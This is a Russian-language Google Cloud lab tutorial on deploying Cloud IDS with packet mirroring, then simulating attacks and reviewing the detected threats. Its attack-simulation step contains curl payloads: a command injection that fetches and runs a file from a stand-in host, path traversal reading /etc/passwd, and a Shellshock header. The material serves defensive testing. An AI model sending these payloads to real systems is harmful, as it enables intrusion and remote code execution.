Облачный IDS

1. Введение

В этой лабораторной работе вы развернете Cloud IDS — сервис обнаружения вторжений нового поколения, обеспечивающий выявление угроз, таких как вторжения, вредоносное ПО, шпионские программы и атаки с целью получения управления и контроля. Вы смоделируете несколько атак и просмотрите подробную информацию об угрозах в облачной консоли.

Что вы узнаете

  • Как создать конечную точку Cloud IDS
  • Как создать 2 виртуальные машины с помощью команд gcloud
  • Как создать политику зеркалирования пакетов
  • Как имитировать трафик атаки из виртуальной машины
  • Как просмотреть подробную информацию об угрозах в Cloud Console и Cloud Logging.

Что вам понадобится

  • Знание основных команд Linux.

2. Варианты использования облачных систем обнаружения вторжений (Cloud IDS).

Cloud IDS предоставляет клиентам встроенную в Google Cloud службу обнаружения вторжений нового поколения (IDS), позволяющую удовлетворять их требованиям к обнаружению угроз и соответствию стандартам, таким как PCI 11.4. Сервис работает на основе технологий защиты от угроз Palo Alto Networks, обеспечивая расширенное обнаружение вторжений. Сочетание инфраструктуры мирового класса Google Cloud с безопасностью мирового класса от Palo Alto Networks предоставляет клиентам непревзойденное сочетание полностью управляемого, высокопроизводительного и максимально эффективного сервиса обнаружения угроз.

По мере перехода клиентов в облако безопасность становится для них приоритетом. Они хотят иметь в облаке аналогичные средства защиты, что и в локальной среде, например, службу обнаружения вторжений (IDS). Они отдают предпочтение облачному управляемому решению IDS из-за простоты развертывания, высокой производительности и оптимизированных затрат по сравнению с развертыванием стороннего решения безопасности и управлением инфраструктурой или использованием собственных сигнатур. Google Cloud IDS предоставляет комплексную и автоматически масштабируемую управляемую службу IDS, позволяя клиентам тратить время на анализ и смягчение угроз, освобождая их время и ресурсы для управления инфраструктурой или сигнатурами угроз.

Система обнаружения вторжений в облаке развертывается внеполосно и может обнаруживать угрозы и оповещать о них, но не может блокировать угрозы. Она использует технологию Google Cloud Packet Mirroring для создания копии сетевого трафика, которая анализируется с помощью механизма обнаружения угроз Palo Alto Network.

3. Топология Codelab

5a276f399e1d31e2.png

Рисунок 1. Общий архитектурный обзор развертывания облачной системы обнаружения вторжений (Cloud IDS) для данной лабораторной работы.

4. Настройка и требования

Настройка среды для самостоятельного обучения

  1. Войдите в консоль Google Cloud и создайте новый проект или используйте существующий. Если у вас еще нет учетной записи Gmail или Google Workspace, вам необходимо ее создать .

96a9c957bc475304.png

b9a10ebdf5b5a448.png

a1e3c01a38fa61c2.png

  • Название проекта — это отображаемое имя участников данного проекта. Это строка символов, не используемая API Google, и вы можете изменить её в любое время.
  • Идентификатор проекта должен быть уникальным для всех проектов Google Cloud и неизменяемым (его нельзя изменить после установки). Консоль Cloud автоматически генерирует уникальную строку; обычно вам неважно, какая она. В большинстве практических заданий вам потребуется указать идентификатор проекта (обычно он обозначается как PROJECT_ID ), поэтому, если он вам не нравится, сгенерируйте другой случайный идентификатор или попробуйте свой собственный и посмотрите, доступен ли он. Затем он "замораживается" после создания проекта.
  • Существует третье значение — номер проекта , который используется некоторыми API. Подробнее обо всех трех значениях можно узнать в документации .
  1. Далее вам потребуется включить оплату в консоли Cloud, чтобы использовать ресурсы/API Cloud. Выполнение этого практического задания не должно стоить дорого, если вообще что-либо. Чтобы отключить ресурсы и избежать дополнительных расходов после завершения этого урока, следуйте инструкциям по «очистке», приведенным в конце практического задания. Новые пользователи Google Cloud имеют право на бесплатную пробную версию стоимостью 300 долларов США .

Запустить Cloud Shell

Хотя Google Cloud можно управлять удаленно с ноутбука, в этом практическом занятии вы будете использовать Google Cloud Shell — среду командной строки, работающую в облаке.

В консоли GCP щелкните значок Cloud Shell на панели инструментов в правом верхнем углу:

bce75f34b2c53987.png

Подготовка и подключение к среде займут всего несколько минут. После завершения вы должны увидеть что-то подобное:

f6ef2b5f13479f3a.png

Эта виртуальная машина оснащена всеми необходимыми инструментами разработки. Она предоставляет постоянный домашний каталог размером 5 ГБ и работает в облаке Google, что значительно повышает производительность сети и аутентификацию. Всю работу в этой лаборатории можно выполнять с помощью обычного браузера.

5. Прежде чем начать

Включить API

Внутри Cloud Shell убедитесь, что идентификатор вашего проекта указан правильно.

gcloud config list project
gcloud config set project [YOUR-PROJECT-NAME]
export PROJECT_ID=$(gcloud config get-value project | sed '2d')

Включите все необходимые службы

gcloud services enable compute.googleapis.com
gcloud services enable ids.googleapis.com
gcloud services enable logging.googleapis.com

6. Создайте сеть VPC.

Сеть VPC

Из Cloud Shell

gcloud compute networks create cloud-ids \
--subnet-mode=custom

Подсеть

Из Cloud Shell

gcloud compute networks subnets create cloud-ids-useast1 \
--range=192.168.10.0/24 \
--network=cloud-ids \
--region=us-east1

Доступ к частным услугам

Из Cloud Shell

gcloud compute addresses create cloud-ids-ips \
--global \
--purpose=VPC_PEERING \
--addresses=10.10.10.0 \
--prefix-length=24 \
--description="Cloud IDS Range" \
--network=cloud-ids

Связь с частной службой

Из Cloud Shell

gcloud services vpc-peerings connect \
--service=servicenetworking.googleapis.com \
--ranges=cloud-ids-ips \
--network=cloud-ids \
--project=$PROJECT_ID

Правила брандмауэра

Чтобы разрешить IAP подключаться к вашим виртуальным машинам, создайте правило брандмауэра, которое:

  • Применяется ко всем экземплярам виртуальных машин, к которым вы хотите обеспечить доступ с помощью IAP.
  • Разрешает входящий трафик из диапазона IP-адресов 35.235.240.0/20. Этот диапазон содержит все IP-адреса, которые IAP использует для пересылки TCP-трафика.

Из Cloud Shell

gcloud compute firewall-rules create allow-iap-proxy \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:22 \
--source-ranges=35.235.240.0/20

Чтобы разрешить доступ к серверу через стандартный HTTP-порт (TCP 80) и протокол ICMP:

  • Применяется к ресурсам с сетевым тегом "сервер".
  • Обеспечивает доступ из всех источников.

Из Cloud Shell

gcloud compute firewall-rules create allow-http-icmp \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:80,icmp \
--source-ranges=0.0.0.0/0 \
--target-tags=server

Создать экземпляр Cloud NAT

Облачный маршрутизатор

Из Cloud Shell

gcloud compute routers create cr-cloud-ids-useast1 \
--region=us-east1 \
--network=cloud-ids

Облачный NAT

Из Cloud Shell

gcloud compute routers nats create nat-cloud-ids-useast1 \
--router=cr-cloud-ids-useast1 \
--router-region=us-east1 \
--auto-allocate-nat-external-ips \
--nat-all-subnet-ip-ranges

7. Создайте конечную точку Cloud IDS.

В этом разделе вы создадите конечную точку Cloud IDS в регионе us-east1 с уровнем серьезности «информационный». Создание конечной точки IDS займет приблизительно 20 минут.

Конечная точка системы обнаружения вторжений (IDS)

Из Cloud Shell

gcloud ids endpoints create cloud-ids-east1 \
--network=cloud-ids \
--zone=us-east1-b \
--severity=INFORMATIONAL \
--async

Убедитесь, что конечная точка Cloud IDS запущена.

gcloud ids endpoints list --project=$PROJECT_ID

Выход -

ID: cloud-ids-east1
LOCATION: us-east1-b
SEVERITY: INFORMATIONAL
STATE: CREATING
NETWORK: cloud-ids
TRAFFIC_LOGS:

8. Создайте 2 виртуальные машины.

В этом разделе вы создадите 2 виртуальные машины. Первая будет вашим веб-сервером, который будет зеркалировать трафик в Cloud IDS. Вторая виртуальная машина будет источником трафика атак.

Виртуальная машина 1 (сервер)

Из Cloud Shell

gcloud compute instances create server \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.20 \
--metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \
--tags=server \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB

Виртуальная машина 2 (клиент)

Из Cloud Shell

gcloud compute instances create attacker \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.10 \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB 

9. Подготовка сервера

В этом задании вам предстоит проверить работоспособность вашего сервера и предоставить вашему клиенту безвредную вредоносную программу.

Подключайтесь к виртуальной машине по SSH через Cloud Shell.

gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap

Подтвердите, что веб-сервис запущен.

sudo systemctl status nginx

Результат - проверка активности и работы

● nginx.service - A high performance web server and a reverse proxy server
   Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
   Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago
     Docs: man:nginx(8)
 Main PID: 1347 (nginx)
    Tasks: 3 (limit: 4665)
   Memory: 4.5M
   CGroup: /system.slice/nginx.service
           ├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
           ├─1348 nginx: worker process
           └─1349 nginx: worker process

May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server...
May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.

Перейдите в каталог веб-сервиса.

cd /var/www/html/

Создайте на веб-сервере безобидный вредоносный файл.

sudo touch eicar.file

Вставьте содержимое.

echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file

Вернуться в CloudShell

exit

Создайте политику зеркалирования пакетов Cloud IDS.

Найдите правило пересылки конечной точки IDS и убедитесь, что состояние конечной точки IDS — «ГОТОВО».

gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b 

Пример выходных данных — скопируйте значение из "endpointForwardingRule".

user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
createTime: '2021-07-01T21:03:56.099839751Z'
endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca
endpointIp: 172.16.30.43
name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1
network: projects/ids-project/global/networks/cloud-ids
severity: INFORMATIONAL
state: READY
updateTime: '2021-07-01T21:21:32.744309107Z'

Сохраните правило переадресации конечной точки IDS в переменную.

export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)")
echo $FORWARDING_RULE

Политика зеркалирования пакетов

Из Cloud Shell

gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \
--region=us-east1 \
--collector-ilb=$FORWARDING_RULE \
--network=cloud-ids \
--mirrored-subnets=cloud-ids-useast1

Убедитесь, что политика зеркалирования пакетов создана.

Из Cloud Shell

gcloud compute packet-mirrorings list

Выход

user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list
NAME                        REGION       NETWORK    ENABLE
cloud-ids-packet-mirroring  us-east1     cloud-ids  TRUE

10. Имитация трафика атаки

Подключитесь по SSH к виртуальной машине злоумышленника (клиенту).

Из Cloud Shell

gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap

Выполните следующие curl-запросы, чтобы имитировать вредоносный трафик.

curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical

Выйдите из виртуальной машины, чтобы вернуться в CloudShell.

exit

11. Анализ угроз, обнаруженных системой обнаружения вторжений Cloud IDS.

Перейдите на панель управления Cloud IDS.

Меню навигации > Сетевая безопасность > Облачная система обнаружения вторжений

37583419aa604aa8.png

Перейдите на вкладку «Угрозы».

b7d934f409b4e2b.png

Как видите, система Cloud IDS зафиксировала различные профили трафика атак и предоставила подробную информацию о каждой угрозе. Возможно, вам потребуется нажать кнопку «Обновить», если вы не видите никаких угроз. Теперь мы углубимся в детали и рассмотрим подробную информацию об угрозах.

Найдите угрозу "Уязвимость удаленного выполнения кода в Bash", щелкните по трем точкам справа и выберите "Просмотреть подробности угрозы".

b122b30dd8d43d9b.png

ee1b201a12db7ef7.png

Теперь мы рассмотрим подробности этого инцидента в Cloud Logging. Вернитесь на страницу «Угрозы», нажав на стрелку, указывающую влево.

Нажмите на три точки справа и выберите «Просмотреть журналы угроз».

b122b30dd8d43d9b.png

ff0d5a0d652ddd83.png

Аналогичные данные предоставляются и для облачного логирования. Это позволяет отправлять журналы в Cloud Storage, Chronicle или любую SIEM/SOAR-систему. Вы также можете создавать пользовательские рабочие процессы для выполнения действий по устранению проблем на основе оповещений, например, создать облачную функцию, которая срабатывает при оповещении и создает/обновляет правило брандмауэра для блокировки IP-адреса, или создать/обновить политику Cloud Armor.

12. Этапы очистки

Выход из виртуальной машины (все вкладки)

exit

Из одного терминала Cloud Shell удалите компоненты лаборатории.

gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet

gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet

gcloud compute instances delete server --zone=us-east1-b --quiet

gcloud compute instances delete attacker --zone=us-east1-b --quiet

gcloud compute firewall-rules delete allow-iap-proxy --quiet

gcloud compute firewall-rules delete allow-http-icmp --quiet

gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet

gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet

gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet

gcloud compute addresses delete cloud-ids-ips --global --quiet

gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet

gcloud compute networks delete cloud-ids --quiet

13. Поздравляем!

Поздравляем с завершением практического занятия!

Что мы рассмотрели

  • Примеры использования облачных систем обнаружения вторжений
  • Требования к сети
  • Поддерживаемые API
  • Создана конечная точка Cloud IDS.
  • Развернуто 2 виртуальные машины.
  • Сгенерировал некоторый "атакующий" трафик от клиента.
  • Подтвержденные угрозы были обнаружены системой обнаружения вторжений (IDS).
  • Проанализируйте подробную информацию об угрозах и журналы событий.